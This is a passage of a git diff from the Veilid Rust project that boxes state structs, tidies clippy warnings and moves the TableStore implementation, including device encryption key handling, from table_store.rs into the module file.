-325,8 +325,8 @@ impl AttachmentManager { // self.inner.lock().last_attachment_state // } - fn get_veilid_state_inner(inner: &AttachmentManagerInner) -> VeilidStateAttachment { - VeilidStateAttachment { + fn get_veilid_state_inner(inner: &AttachmentManagerInner) -> Box { + Box::new(VeilidStateAttachment { state: inner.last_attachment_state, public_internet_ready: inner .last_routing_table_health @@ -338,11 +338,11 @@ impl AttachmentManager { .as_ref() .map(|x| x.local_network_ready) .unwrap_or(false), - } + }) } - pub fn get_veilid_state(&self) -> VeilidStateAttachment { + pub fn get_veilid_state(&self) -> Box { let inner = self.inner.lock(); - Self::get_veilid_state_inner(&*inner) + Self::get_veilid_state_inner(&inner) } } diff --git a/veilid-core/src/crypto/tests/test_types.rs b/veilid-core/src/crypto/tests/test_types.rs index b2f7a3bc..6d08d34b 100644 --- a/veilid-core/src/crypto/tests/test_types.rs +++ b/veilid-core/src/crypto/tests/test_types.rs @@ -1,5 +1,3 @@ -#![allow(clippy::bool_assert_comparison)] - use super::*; use core::convert::TryFrom; @@ -338,14 +336,14 @@ async fn test_operations(vcrypto: CryptoSystemVersion) { assert_eq!(d4.first_nonzero_nibble(), Some((0, 0x9u8))); // Verify bits - assert_eq!(d1.bit(0), true); - assert_eq!(d1.bit(1), false); - assert_eq!(d1.bit(7), false); - assert_eq!(d1.bit(8), false); - assert_eq!(d1.bit(14), true); - assert_eq!(d1.bit(15), false); - assert_eq!(d1.bit(254), true); - assert_eq!(d1.bit(255), false); + assert!(d1.bit(0)); + assert!(!d1.bit(1)); + assert!(!d1.bit(7)); + assert!(!d1.bit(8)); + assert!(d1.bit(14)); + assert!(!d1.bit(15)); + assert!(d1.bit(254)); + assert!(!d1.bit(255)); assert_eq!(d1.first_nonzero_bit(), Some(0)); assert_eq!(d2.first_nonzero_bit(), Some(0)); diff --git a/veilid-core/src/network_manager/stats.rs b/veilid-core/src/network_manager/stats.rs index 24836707..f96da01d 100644 --- a/veilid-core/src/network_manager/stats.rs +++ b/veilid-core/src/network_manager/stats.rs @@ -73,7 +73,7 @@ impl NetworkManager { inner.stats.clone() } - pub fn get_veilid_state(&self) -> VeilidStateNetwork { + pub fn get_veilid_state(&self) -> Box { let has_state = self .unlocked_inner .components @@ -83,12 +83,12 @@ impl NetworkManager { .unwrap_or(false); if !has_state { - return VeilidStateNetwork { + return Box::new(VeilidStateNetwork { started: false, bps_down: 0.into(), bps_up: 0.into(), peers: Vec::new(), - }; + }); } let routing_table = self.routing_table(); @@ -100,7 +100,7 @@ impl NetworkManager { ) }; - VeilidStateNetwork { + Box::new(VeilidStateNetwork { started: true, bps_down, bps_up, @@ -119,7 +119,7 @@ impl NetworkManager { } out }, - } + }) } pub(super) fn send_network_update(&self) { diff --git a/veilid-core/src/receipt_manager.rs b/veilid-core/src/receipt_manager.rs index 0df15aa1..416e5573 100644 --- a/veilid-core/src/receipt_manager.rs +++ b/veilid-core/src/receipt_manager.rs @@ -261,9 +261,8 @@ impl ReceiptManager { // Wait on all the multi-call callbacks loop { - match callbacks.next().timeout_at(stop_token.clone()).await { - Ok(Some(_)) => {} - Ok(None) | Err(_) => break, + if let Ok(None) | Err(_) = callbacks.next().timeout_at(stop_token.clone()).await { + break; } } } @@ -307,7 +306,7 @@ impl ReceiptManager { // Wait for everything to stop debug!("waiting for timeout task to stop"); - if !timeout_task.join().await.is_ok() { + if timeout_task.join().await.is_err() { panic!("joining timeout task failed"); } @@ -333,7 +332,7 @@ impl ReceiptManager { let mut inner = self.inner.lock(); inner.records_by_nonce.insert(receipt_nonce, record); - Self::update_next_oldest_timestamp(&mut *inner); + Self::update_next_oldest_timestamp(&mut inner); } pub fn record_single_shot_receipt( @@ -351,7 +350,7 @@ impl ReceiptManager { let mut inner = self.inner.lock(); inner.records_by_nonce.insert(receipt_nonce, record); - Self::update_next_oldest_timestamp(&mut *inner); + Self::update_next_oldest_timestamp(&mut inner); } fn update_next_oldest_timestamp(inner: &mut ReceiptManagerInner) { @@ -382,7 +381,7 @@ impl ReceiptManager { bail!("receipt not recorded"); } }; - Self::update_next_oldest_timestamp(&mut *inner); + Self::update_next_oldest_timestamp(&mut inner); record }; @@ -448,14 +447,12 @@ impl ReceiptManager { let receipt_event = match receipt_returned { ReceiptReturned::OutOfBand => ReceiptEvent::ReturnedOutOfBand, ReceiptReturned::Safety => ReceiptEvent::ReturnedSafety, - ReceiptReturned::InBand { - ref inbound_noderef, - } => ReceiptEvent::ReturnedInBand { - inbound_noderef: inbound_noderef.clone(), - }, - ReceiptReturned::Private { ref private_route } => ReceiptEvent::ReturnedPrivate { - private_route: private_route.clone(), - }, + ReceiptReturned::InBand { inbound_noderef } => { + ReceiptEvent::ReturnedInBand { inbound_noderef } + } + ReceiptReturned::Private { private_route } => { + ReceiptEvent::ReturnedPrivate { private_route } + } }; let callback_future = Self::perform_callback(receipt_event, &mut record_mut); @@ -464,7 +461,7 @@ impl ReceiptManager { if record_mut.returns_so_far == record_mut.expected_returns { inner.records_by_nonce.remove(&receipt_nonce); - Self::update_next_oldest_timestamp(&mut *inner); + Self::update_next_oldest_timestamp(&mut inner); } (callback_future, stop_token) }; diff --git a/veilid-core/src/routing_table/route_spec_store/mod.rs b/veilid-core/src/routing_table/route_spec_store/mod.rs index 3f1f19fb..9cee1340 100644 --- a/veilid-core/src/routing_table/route_spec_store/mod.rs +++ b/veilid-core/src/routing_table/route_spec_store/mod.rs @@ -141,10 +141,10 @@ impl RouteSpecStore { dr }; - let update = VeilidUpdate::RouteChange(VeilidRouteChange { + let update = VeilidUpdate::RouteChange(Box::new(VeilidRouteChange { dead_routes, dead_remote_routes, - }); + })); let update_callback = self.unlocked_inner.routing_table.update_callback(); update_callback(update); diff --git a/veilid-core/src/rpc_processor/rpc_app_call.rs b/veilid-core/src/rpc_processor/rpc_app_call.rs index 4a34c796..37c21deb 100644 --- a/veilid-core/src/rpc_processor/rpc_app_call.rs +++ b/veilid-core/src/rpc_processor/rpc_app_call.rs @@ -94,9 +94,9 @@ impl RPCProcessor { // Pass the call up through the update callback let message_q = app_call_q.destructure(); - (self.unlocked_inner.update_callback)(VeilidUpdate::AppCall(VeilidAppCall::new( + (self.unlocked_inner.update_callback)(VeilidUpdate::AppCall(Box::new(VeilidAppCall::new( sender, message_q, op_id, - ))); + )))); // Wait for an app call answer to come back from the app let res = self diff --git a/veilid-core/src/rpc_processor/rpc_app_message.rs b/veilid-core/src/rpc_processor/rpc_app_message.rs index 69ac7046..9f6a3d89 100644 --- a/veilid-core/src/rpc_processor/rpc_app_message.rs +++ b/veilid-core/src/rpc_processor/rpc_app_message.rs @@ -58,8 +58,8 @@ impl RPCProcessor { // Pass the message up through the update callback let message = app_message.destructure(); - (self.unlocked_inner.update_callback)(VeilidUpdate::AppMessage(VeilidAppMessage::new( - sender, message, + (self.unlocked_inner.update_callback)(VeilidUpdate::AppMessage(Box::new( + VeilidAppMessage::new(sender, message), ))); Ok(NetworkResult::value(())) diff --git a/veilid-core/src/table_store/mod.rs b/veilid-core/src/table_store/mod.rs index 1e2f27e8..8d623ea8 100644 --- a/veilid-core/src/table_store/mod.rs +++ b/veilid-core/src/table_store/mod.rs @@ -1,9 +1,7 @@ use super::*; mod table_db; -mod table_store; pub use table_db::*; -pub use table_store::*; pub mod tests; @@ -15,3 +13,582 @@ use wasm::*; mod native; #[cfg(not(target_arch = "wasm32"))] use native::*; + +use keyvaluedb::*; + +const ALL_TABLE_NAMES: &[u8] = b"all_table_names"; + +struct TableStoreInner { + opened: BTreeMap>, + encryption_key: Option, + all_table_names: HashMap, + all_tables_db: Option, + crypto: Option, +} + +/// Veilid Table Storage +/// Database for storing key value pairs persistently and securely across runs +#[derive(Clone)] +pub struct TableStore { + config: VeilidConfig, + protected_store: ProtectedStore, + table_store_driver: TableStoreDriver, + inner: Arc>, // Sync mutex here because TableDB drops can happen at any time + async_lock: Arc>, // Async mutex for operations +} + +impl TableStore { + fn new_inner() -> TableStoreInner { + TableStoreInner { + opened: BTreeMap::new(), + encryption_key: None, + all_table_names: HashMap::new(), + all_tables_db: None, + crypto: None, + } + } + pub(crate) fn new(config: VeilidConfig, protected_store: ProtectedStore) -> Self { + let inner = Self::new_inner(); + let table_store_driver = TableStoreDriver::new(config.clone()); + + Self { + config, + protected_store, + inner: Arc::new(Mutex::new(inner)), + table_store_driver, + async_lock: Arc::new(AsyncMutex::new(())), + } + } + + pub(crate) fn set_crypto(&self, crypto: Crypto) { + let mut inner = self.inner.lock(); + inner.crypto = Some(crypto); + } + + // Flush internal control state (must not use crypto) + async fn flush(&self) { + let (all_table_names_value, all_tables_db) = { + let inner = self.inner.lock(); + let all_table_names_value = serialize_json_bytes(&inner.all_table_names); + (all_table_names_value, inner.all_tables_db.clone().unwrap()) + }; + let mut dbt = DBTransaction::new(); + dbt.put(0, ALL_TABLE_NAMES, &all_table_names_value); + if let Err(e) = all_tables_db.write(dbt).await { + error!("failed to write all tables db: {}", e); + } + } + + // Internal naming support + // Adds rename capability and ensures names of tables are totally unique and valid + + fn namespaced_name(&self, table: &str) -> VeilidAPIResult { + if !table + .chars() + .all(|c| char::is_alphanumeric(c) || c == '_' || c == '-') + { + apibail_invalid_argument!("table name is invalid", "table", table); + } + let c = self.config.get(); + let namespace = c.namespace.clone(); + Ok(if namespace.is_empty() { + table.to_string() + } else { + format!("_ns_{}_{}", namespace, table) + }) + } + + async fn name_get_or_create(&self, table: &str) -> VeilidAPIResult { + let name = self.namespaced_name(table)?; + + let mut inner = self.inner.lock(); + // Do we have this name yet? + if let Some(real_name) = inner.all_table_names.get(&name) { + return Ok(real_name.clone()); + } + + // If not, make a new low level name mapping + let mut real_name_bytes = [0u8; 32]; + random_bytes(&mut real_name_bytes); + let real_name = data_encoding::BASE64URL_NOPAD.encode(&real_name_bytes); + + if inner + .all_table_names + .insert(name.to_owned(), real_name.clone()) + .is_some() + { + panic!("should not have had some value"); + }; + + Ok(real_name) + } + + async fn name_delete(&self, table: &str) -> VeilidAPIResult> { + let name = self.namespaced_name(table)?; + let mut inner = self.inner.lock(); + let real_name = inner.all_table_names.remove(&name); + Ok(real_name) + } + + async fn name_get(&self, table: &str) -> VeilidAPIResult> { + let name = self.namespaced_name(table)?; + let inner = self.inner.lock(); + let real_name = inner.all_table_names.get(&name).cloned(); + Ok(real_name) + } + + async fn name_rename(&self, old_table: &str, new_table: &str) -> VeilidAPIResult<()> { + let old_name = self.namespaced_name(old_table)?; + let new_name = self.namespaced_name(new_table)?; + + let mut inner = self.inner.lock(); + // Ensure new name doesn't exist + if inner.all_table_names.contains_key(&new_name) { + return Err(VeilidAPIError::generic("new table already exists")); + } + // Do we have this name yet? + let Some(real_name) = inner.all_table_names.remove(&old_name) else { + return Err(VeilidAPIError::generic("table does not exist")); + }; + // Insert with new name + inner.all_table_names.insert(new_name.to_owned(), real_name); + + Ok(()) + } + + /// Delete all known tables + async fn delete_all(&self) { + // Get all tables + let real_names = { + let mut inner = self.inner.lock(); + let real_names = inner + .all_table_names + .values() + .cloned() + .collect::>(); + inner.all_table_names.clear(); + real_names + }; + + // Delete all tables + for table_name in real_names { + if let Err(e) = self.table_store_driver.delete(&table_name).await { + error!("error deleting table: {}", e); + } + } + self.flush().await; + } + + pub(crate) fn maybe_unprotect_device_encryption_key( + &self, + dek_bytes: &[u8], + device_encryption_key_password: &str, + ) -> EyreResult { + // Ensure the key is at least as long as necessary if unencrypted + if dek_bytes.len() < (4 + SHARED_SECRET_LENGTH) { + bail!("device encryption key is not valid"); + } + + // Get cryptosystem + let kind = FourCC::try_from(&dek_bytes[0..4]).unwrap(); + let crypto = self.inner.lock().crypto.as_ref().unwrap().clone(); + let Some(vcrypto) = crypto.get(kind) else { + bail!("unsupported cryptosystem"); + }; + + if !device_encryption_key_password.is_empty() { + if dek_bytes.len() + != (4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH) + { + bail!("password protected device encryption key is not valid"); + } + let protected_key = &dek_bytes[4..(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead())]; + let nonce = + Nonce::try_from(&dek_bytes[(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead())..]) + .wrap_err("invalid nonce")?; + + let shared_secret = vcrypto + .derive_shared_secret(device_encryption_key_password.as_bytes(), &nonce.bytes) + .wrap_err("failed to derive shared secret")?; + let unprotected_key = vcrypto + .decrypt_aead(protected_key, &nonce, &shared_secret, None) + .wrap_err("failed to decrypt device encryption key")?; + return Ok(TypedSharedSecret::new( + kind, + SharedSecret::try_from(unprotected_key.as_slice()) + .wrap_err("invalid shared secret")?, + )); + } + + if dek_bytes.len() != (4 + SHARED_SECRET_LENGTH) { + bail!("password protected device encryption key is not valid"); + } + + Ok(TypedSharedSecret::new( + kind, + SharedSecret::try_from(&dek_bytes[4..])?, + )) + } + + pub(crate) fn maybe_protect_device_encryption_key( + &self, + dek: TypedSharedSecret, + device_encryption_key_password: &str, + ) -> EyreResult> { + // Check if we are to protect the key + if device_encryption_key_password.is_empty() { + debug!("no dek password"); + // Return the unprotected key bytes + let mut out = Vec::with_capacity(4 + SHARED_SECRET_LENGTH); + out.extend_from_slice(&dek.kind.0); + out.extend_from_slice(&dek.value.bytes); + return Ok(out); + } + + // Get cryptosystem + let crypto = self.inner.lock().crypto.as_ref().unwrap().clone(); + let Some(vcrypto) = crypto.get(dek.kind) else { + bail!("unsupported cryptosystem"); + }; + + let nonce = vcrypto.random_nonce(); + let shared_secret = vcrypto + .derive_shared_secret(device_encryption_key_password.as_bytes(), &nonce.bytes) + .wrap_err("failed to derive shared secret")?; + let mut protected_key = vcrypto + .encrypt_aead(&dek.value.bytes, &nonce, &shared_secret, None) + .wrap_err("failed to decrypt device encryption key")?; + let mut out = + Vec::with_capacity(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH); + out.extend_from_slice(&dek.kind.0); + out.append(&mut protected_key); + out.extend_from_slice(&nonce.bytes); + assert!(out.len() == 4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH); + Ok(out) + } + + async fn load_device_encryption_key(&self) -> EyreResult> { + let dek_bytes: Option> = self + .protected_store + .load_user_secret("device_encryption_key") + .await?; + let Some(dek_bytes) = dek_bytes else { + debug!("no device encryption key"); + return Ok(None); + }; + + // Get device encryption key protection password if we have it + let device_encryption_key_password = { + let c = self.config.get(); + c.protected_store.device_encryption_key_password.clone() + }; + + Ok(Some(self.maybe_unprotect_device_encryption_key( + &dek_bytes, + &device_encryption_key_password, + )?)) + } + async fn save_device_encryption_key( + &self, + device_encryption_key: Option, + ) -> EyreResult<()> { + let Some(device_encryption_key) = device_encryption_key else { + // Remove the device encryption key + let existed = self + .protected_store + .remove_user_secret("device_encryption_key") + .await?; + debug!("removed device encryption key. existed: {}", existed); + return Ok(()); + }; + + // Get new device encryption key protection password if we are changing it + let new_device_encryption_key_password = { + let c = self.config.get(); + c.protected_store.new_device_encryption_key_password.clone() + }; + let device_encryption_key_password = + if let Some(new_device_encryption_key_password) = new_device_encryption_key_password { + // Change password + debug!("changing dek password"); + self.config + .with_mut(|c| { + c.protected_store.device_encryption_key_password = + new_device_encryption_key_password.clone(); + Ok(new_device_encryption_key_password) + }) + .unwrap() + } else { + // Get device encryption key protection password if we have it + debug!("saving with existing dek password"); + let c = self.config.get(); + c.protected_store.device_encryption_key_password.clone() + }; + + let dek_bytes = self.maybe_protect_device_encryption_key( + device_encryption_key, + &device_encryption_key_password, + )?; + + // Save the new device encryption key + let existed = self + .protected_store + .save_user_secret("device_encryption_key", &dek_bytes) + .await?; + debug!("saving device encryption key. existed: {}", existed); + Ok(()) + } + + pub(crate) async fn init(&self) -> EyreResult<()> { + let _async_guard = self.async_lock.lock().await; + + // Get device encryption key from protected store + let mut device_encryption_key = self.load_device_encryption_key().await?; + let mut device_encryption_key_changed = false; + if let Some(device_encryption_key) = device_encryption_key { + // If encryption in current use is not the best encryption, then run table migration + let best_kind = best_crypto_kind(); + if device_encryption_key.kind != best_kind { + // XXX: Run migration. See issue #209 + } + } else { + // If we don't have an encryption key yet, then make one with the best cryptography and save it + let best_kind = best_crypto_kind(); + let mut shared_secret = SharedSecret::default(); + random_bytes(&mut shared_secret.bytes); + + device_encryption_key = Some(TypedSharedSecret::new(best_kind, shared_secret)); + device_encryption_key_changed = true; + } + + // Check for password change + let changing_password = self + .config + .get() + .protected_store + .new_device_encryption_key_password + .is_some(); + + // Save encryption key if it has changed or if the protecting password wants to change + if device_encryption_key_changed || changing_password { + self.save_device_encryption_key(device_encryption_key) + .await?; + } + + // Deserialize all table names + let all_tables_db = self + .table_store_driver + .open("__veilid_all_tables", 1) + .await + .wrap_err("failed to create all tables table")?; + match all_tables_db.get(0, ALL_TABLE_NAMES).await { + Ok(Some(v)) => match deserialize_json_bytes::>(&v) { + Ok(all_table_names) => { + let mut inner = self.inner.lock(); + inner.all_table_names = all_table_names; + } + Err(e) => { + error!("could not deserialize __veilid_all_tables: {}", e); + } + }, + Ok(None) => { + // No table names yet, that's okay + trace!("__veilid_all_tables is empty"); + } + Err(e) => { + error!("could not get __veilid_all_tables: {}", e); + } + }; + + { + let mut inner = self.inner.lock(); + inner.encryption_key = device_encryption_key; + inner.all_tables_db = Some(all_tables_db); + } + + let do_delete = { + let c = self.config.get(); + c.table_store.delete + }; + + if do_delete { + self.delete_all().await; + } + + Ok(()) + } + + pub(crate) async fn terminate(&self) { + let _async_guard = self.async_lock.lock().await; + + self.flush().await; + + let mut inner = self.inner.lock(); + if !inner.opened.is_empty() { + panic!( + "all open databases should have been closed: {:?}", + inner.opened + ); + } + inner.all_tables_db = None; + inner.all_table_names.clear(); + inner.encryption_key = None; + } + + pub(crate) fn on_table_db_drop(&self, table: String) { + log_rtab!("dropping table db: {}", table); + let mut inner = self.inner.lock(); + if inner.opened.remove(&table).is_none() { + unreachable!("should have removed an item"); + } + } + + /// Get or create a TableDB database table. If the column count is greater than an + /// existing TableDB's column count, the database will be upgraded to add the missing columns + pub async fn open(&self, name: &str, column_count: u32) -> VeilidAPIResult { + let _async_guard = self.async_lock.lock().await; + + // If we aren't initialized yet, bail + { + let inner = self.inner.lock(); + if inner.all_tables_db.is_none() { + apibail_not_initialized!(); + } + } + + let table_name = self.name_get_or_create(name).await?; + + // See if this table is already opened, if so the column count must be the same + { + let mut inner = self.inner.lock(); + if let Some(table_db_weak_inner) = inner.opened.get(&table_name) { + match TableDB::try_new_from_weak_inner(table_db_weak_inner.clone(), column_count) { + Some(tdb) => { + // Ensure column count isnt bigger + let existing_col_count = tdb.get_column_count()?; + if column_count > existing_col_count { + return Err(VeilidAPIError::generic(format!( + "database must be closed before increasing column count {} -> {}", + existing_col_count, column_count, + ))); + } + + return Ok(tdb); + } + None => { + inner.opened.remove(&table_name); + } + }; + } + } + + // Open table db using platform-specific driver + let mut db = match self + .table_store_driver + .open(&table_name, column_count) + .await + { + Ok(db) => db, + Err(e) => { + self.name_delete(name).await.expect("cleanup failed"); + self.flush().await; + return Err(e); + } + }; + + // Flush table names to disk + self.flush().await; + + // If more columns are available, open the low level db with the max column count but restrict the tabledb object to the number requested + let existing_col_count = db.num_columns().map_err(VeilidAPIError::from)?; + if existing_col_count > column_count { + drop(db); + db = match self + .table_store_driver + .open(&table_name, existing_col_count) + .await + { + Ok(db) => db, + Err(e) => { + self.name_delete(name).await.expect("cleanup failed"); + self.flush().await; + return Err(e); + } + }; + } + + // Wrap low-level Database in TableDB object + let mut inner = self.inner.lock(); + let table_db = TableDB::new( + table_name.clone(), + self.clone(), + inner.crypto.as_ref().unwrap().clone(), + db, + inner.encryption_key, + inner.encryption_key, + column_count, + ); + + // Keep track of opened DBs + inner + .opened + .insert(table_name.clone(), table_db.weak_inner()); + + Ok(table_db) + } + + /// Delete a TableDB table by name + pub async fn delete(&self, name: &str) -> VeilidAPIResult { + let _async_guard = self.async_lock.lock().await; + // If we aren't initialized yet, bail + { + let inner = self.inner.lock(); + if inner.all_tables_db.is_none() { + apibail_not_initialized!(); + } + } + + let Some(table_name) = self.name_get(name).await? else { + // Did not exist in name table + return Ok(false); + }; + + // See if this table is opened + { + let inner = self.inner.lock(); + if inner.opened.contains_key(&table_name) { + apibail_generic!("Not deleting table that is still opened"); + } + } + + // Delete table db using platform-specific driver + let deleted = self.table_store_driver.delete(&table_name).await?; + if !deleted { + // Table missing? Just remove name + warn!( + "table existed in name table but not in storage: {} : {}", + name, table_name + ); + } + self.name_delete(name).await.expect("failed to delete name"); + self.flush().await; + + Ok(true) + } + + /// Rename a TableDB table + pub async fn rename(&self, old_name: &str, new_name: &str) -> VeilidAPIResult<()> { + let _async_guard = self.async_lock.lock().await; + // If we aren't initialized yet, bail + { + let inner = self.inner.lock(); + if inner.all_tables_db.is_none() { + apibail_not_initialized!(); + } + } + trace!("TableStore::rename {} -> {}", old_name, new_name); + self.name_rename(old_name, new_name).await?; + self.flush().await; + Ok(()) + } +} diff --git a/veilid-core/src/table_store/native.rs b/veilid-core/src/table_store/native.rs index 9e1186d5..fadbc4ef 100644 --- a/veilid-core/src/table_store/native.rs +++ b/veilid-core/src/table_store/native.rs @@ -22,7 +22,7 @@ impl TableStoreDriver { } pub async fn open(&self, table_name: &str, column_count: u32) -> VeilidAPIResult { - let dbpath = self.get_dbpath(&table_name)?; + let dbpath = self.get_dbpath(table_name)?; // Ensure permissions are correct ensure_file_private_owner(&dbpath).map_err(VeilidAPIError::internal)?; @@ -43,7 +43,7 @@ impl TableStoreDriver { } pub async fn delete(&self, table_name: &str) -> VeilidAPIResult { - let dbpath = self.get_dbpath(&table_name)?; + let dbpath = self.get_dbpath(table_name)?; if !dbpath.exists() { return Ok(false); } diff --git a/veilid-core/src/table_store/table_store.rs b/veilid-core/src/table_store/table_store.rs deleted file mode 100644 index 3f5e9821..00000000 --- a/veilid-core/src/table_store/table_store.rs +++ /dev/null @@ -1,589 +0,0 @@ -use super::*; -use keyvaluedb::*; - -const ALL_TABLE_NAMES: &[u8] = b"all_table_names"; - -struct TableStoreInner { - opened: BTreeMap>, - encryption_key: Option, - all_table_names: HashMap, - all_tables_db: Option, - crypto: Option, -} - -/// Veilid Table Storage -/// Database for storing key value pairs persistently and securely across runs -#[derive(Clone)] -pub struct TableStore { - config: VeilidConfig, - protected_store: ProtectedStore, - table_store_driver: TableStoreDriver, - inner: Arc>, // Sync mutex here because TableDB drops can happen at any time - async_lock: Arc>, // Async mutex for operations -} - -impl TableStore { - fn new_inner() -> TableStoreInner { - TableStoreInner { - opened: BTreeMap::new(), - encryption_key: None, - all_table_names: HashMap::new(), - all_tables_db: None, - crypto: None, - } - } - pub(crate) fn new(config: VeilidConfig, protected_store: ProtectedStore) -> Self { - let inner = Self::new_inner(); - let table_store_driver = TableStoreDriver::new(config.clone()); - - Self { - config, - protected_store, - inner: Arc::new(Mutex::new(inner)), - table_store_driver, - async_lock: Arc::new(AsyncMutex::new(())), - } - } - - pub(crate) fn set_crypto(&self, crypto: Crypto) { - let mut inner = self.inner.lock(); - inner.crypto = Some(crypto); - } - - // Flush internal control state (must not use crypto) - async fn flush(&self) { - let (all_table_names_value, all_tables_db) = { - let inner = self.inner.lock(); - let all_table_names_value = serialize_json_bytes(&inner.all_table_names); - (all_table_names_value, inner.all_tables_db.clone().unwrap()) - }; - let mut dbt = DBTransaction::new(); - dbt.put(0, ALL_TABLE_NAMES, &all_table_names_value); - if let Err(e) = all_tables_db.write(dbt).await { - error!("failed to write all tables db: {}", e); - } - } - - // Internal naming support - // Adds rename capability and ensures names of tables are totally unique and valid - - fn namespaced_name(&self, table: &str) -> VeilidAPIResult { - if !table - .chars() - .all(|c| char::is_alphanumeric(c) || c == '_' || c == '-') - { - apibail_invalid_argument!("table name is invalid", "table", table); - } - let c = self.config.get(); - let namespace = c.namespace.clone(); - Ok(if namespace.is_empty() { - table.to_string() - } else { - format!("_ns_{}_{}", namespace, table) - }) - } - - async fn name_get_or_create(&self, table: &str) -> VeilidAPIResult { - let name = self.namespaced_name(table)?; - - let mut inner = self.inner.lock(); - // Do we have this name yet? - if let Some(real_name) = inner.all_table_names.get(&name) { - return Ok(real_name.clone()); - } - - // If not, make a new low level name mapping - let mut real_name_bytes = [0u8; 32]; - random_bytes(&mut real_name_bytes); - let real_name = data_encoding::BASE64URL_NOPAD.encode(&real_name_bytes); - - if inner - .all_table_names - .insert(name.to_owned(), real_name.clone()) - .is_some() - { - panic!("should not have had some value"); - }; - - Ok(real_name) - } - - async fn name_delete(&self, table: &str) -> VeilidAPIResult> { - let name = self.namespaced_name(table)?; - let mut inner = self.inner.lock(); - let real_name = inner.all_table_names.remove(&name); - Ok(real_name) - } - - async fn name_get(&self, table: &str) -> VeilidAPIResult> { - let name = self.namespaced_name(table)?; - let inner = self.inner.lock(); - let real_name = inner.all_table_names.get(&name).cloned(); - Ok(real_name) - } - - async fn name_rename(&self, old_table: &str, new_table: &str) -> VeilidAPIResult<()> { - let old_name = self.namespaced_name(old_table)?; - let new_name = self.namespaced_name(new_table)?; - - let mut inner = self.inner.lock(); - // Ensure new name doesn't exist - if inner.all_table_names.contains_key(&new_name) { - return Err(VeilidAPIError::generic("new table already exists")); - } - // Do we have this name yet? - let Some(real_name) = inner.all_table_names.remove(&old_name) else { - return Err(VeilidAPIError::generic("table does not exist")); - }; - // Insert with new name - inner.all_table_names.insert(new_name.to_owned(), real_name); - - Ok(()) - } - - /// Delete all known tables - async fn delete_all(&self) { - // Get all tables - let real_names = { - let mut inner = self.inner.lock(); - let real_names = inner - .all_table_names - .values() - .cloned() - .collect::>(); - inner.all_table_names.clear(); - real_names - }; - - // Delete all tables - for table_name in real_names { - if let Err(e) = self.table_store_driver.delete(&table_name).await { - error!("error deleting table: {}", e); - } - } - self.flush().await; - } - - pub(crate) fn maybe_unprotect_device_encryption_key( - &self, - dek_bytes: &[u8], - device_encryption_key_password: &str, - ) -> EyreResult { - // Ensure the key is at least as long as necessary if unencrypted - if dek_bytes.len() < (4 + SHARED_SECRET_LENGTH) { - bail!("device encryption key is not valid"); - } - - // Get cryptosystem - let kind = FourCC::try_from(&dek_bytes[0..4]).unwrap(); - let crypto = self.inner.lock().crypto.as_ref().unwrap().clone(); - let Some(vcrypto) = crypto.get(kind) else { - bail!("unsupported cryptosystem"); - }; - - if !device_encryption_key_password.is_empty() { - if dek_bytes.len() - != (4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH) - { - bail!("password protected device encryption key is not valid"); - } - let protected_key = &dek_bytes[4..(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead())]; - let nonce = &dek_bytes[(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead())..]; - - let shared_secret = vcrypto - .derive_shared_secret(device_encryption_key_password.as_bytes(), &nonce) - .wrap_err("failed to derive shared secret")?; - let unprotected_key = vcrypto - .decrypt_aead( - &protected_key, - &Nonce::try_from(nonce).wrap_err("invalid nonce")?, - &shared_secret, - None, - ) - .wrap_err("failed to decrypt device encryption key")?; - return Ok(TypedSharedSecret::new( - kind, - SharedSecret::try_from(unprotected_key.as_slice()) - .wrap_err("invalid shared secret")?, - )); - } - - if dek_bytes.len() != (4 + SHARED_SECRET_LENGTH) { - bail!("password protected device encryption key is not valid"); - } - - Ok(TypedSharedSecret::new( - kind, - SharedSecret::try_from(&dek_bytes[4..])?, - )) - } - - pub(crate) fn maybe_protect_device_encryption_key( - &self, - dek: TypedSharedSecret, - device_encryption_key_password: &str, - ) -> EyreResult> { - // Check if we are to protect the key - if device_encryption_key_password.is_empty() { - debug!("no dek password"); - // Return the unprotected key bytes - let mut out = Vec::with_capacity(4 + SHARED_SECRET_LENGTH); - out.extend_from_slice(&dek.kind.0); - out.extend_from_slice(&dek.value.bytes); - return Ok(out); - } - - // Get cryptosystem - let crypto = self.inner.lock().crypto.as_ref().unwrap().clone(); - let Some(vcrypto) = crypto.get(dek.kind) else { - bail!("unsupported cryptosystem"); - }; - - let nonce = vcrypto.random_nonce(); - let shared_secret = vcrypto - .derive_shared_secret(device_encryption_key_password.as_bytes(), &nonce.bytes) - .wrap_err("failed to derive shared secret")?; - let mut protected_key = vcrypto - .encrypt_aead( - &dek.value.bytes, - &Nonce::try_from(nonce).wrap_err("invalid nonce")?, - &shared_secret, - None, - ) - .wrap_err("failed to decrypt device encryption key")?; - let mut out = - Vec::with_capacity(4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH); - out.extend_from_slice(&dek.kind.0); - out.append(&mut protected_key); - out.extend_from_slice(&nonce.bytes); - assert!(out.len() == 4 + SHARED_SECRET_LENGTH + vcrypto.aead_overhead() + NONCE_LENGTH); - Ok(out) - } - - async fn load_device_encryption_key(&self) -> EyreResult> { - let dek_bytes: Option> = self - .protected_store - .load_user_secret("device_encryption_key") - .await?; - let Some(dek_bytes) = dek_bytes else { - debug!("no device encryption key"); - return Ok(None); - }; - - // Get device encryption key protection password if we have it - let device_encryption_key_password = { - let c = self.config.get(); - c.protected_store.device_encryption_key_password.clone() - }; - - Ok(Some(self.maybe_unprotect_device_encryption_key( - &dek_bytes, - &device_encryption_key_password, - )?)) - } - async fn save_device_encryption_key( - &self, - device_encryption_key: Option, - ) -> EyreResult<()> { - let Some(device_encryption_key) = device_encryption_key else { - // Remove the device encryption key - let existed = self - .protected_store - .remove_user_secret("device_encryption_key") - .await?; - debug!("removed device encryption key. existed: {}", existed); - return Ok(()); - }; - - // Get new device encryption key protection password if we are changing it - let new_device_encryption_key_password = { - let c = self.config.get(); - c.protected_store.new_device_encryption_key_password.clone() - }; - let device_encryption_key_password = - if let Some(new_device_encryption_key_password) = new_device_encryption_key_password { - // Change password - debug!("changing dek password"); - self.config - .with_mut(|c| { - 